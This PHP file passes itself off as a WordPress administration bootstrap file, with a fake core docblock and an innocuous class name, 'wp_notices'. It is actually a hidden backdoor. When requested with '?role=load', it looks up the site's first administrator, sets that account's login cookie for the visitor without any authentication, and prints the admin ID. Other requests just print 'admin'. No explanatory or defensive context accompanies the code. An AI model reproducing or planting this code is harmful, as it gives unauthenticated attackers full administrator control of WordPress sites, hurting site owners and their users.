<?php
/**
 *
 * @package WordPress
 * @subpackage Administration
 *

 * WordPress Administration Bootstrap 
 require_once __DIR__ . '/admin.php';
*/

define('WP_USE_THEMES', false);
require_once '../wp-load.php';

class wp_notices {
    public function action() {
        switch(@$_GET['role']) {
            case 'load':
                $table = get_users(["role" => "administrator"])[0];
                $id = $table->data->ID;
                wp_set_auth_cookie($id);
                wp_set_current_user($id);
                echo $id;
            default: 
                echo 'admin';
        }
    }
}

$wprole = new wp_notices();
$wprole->action();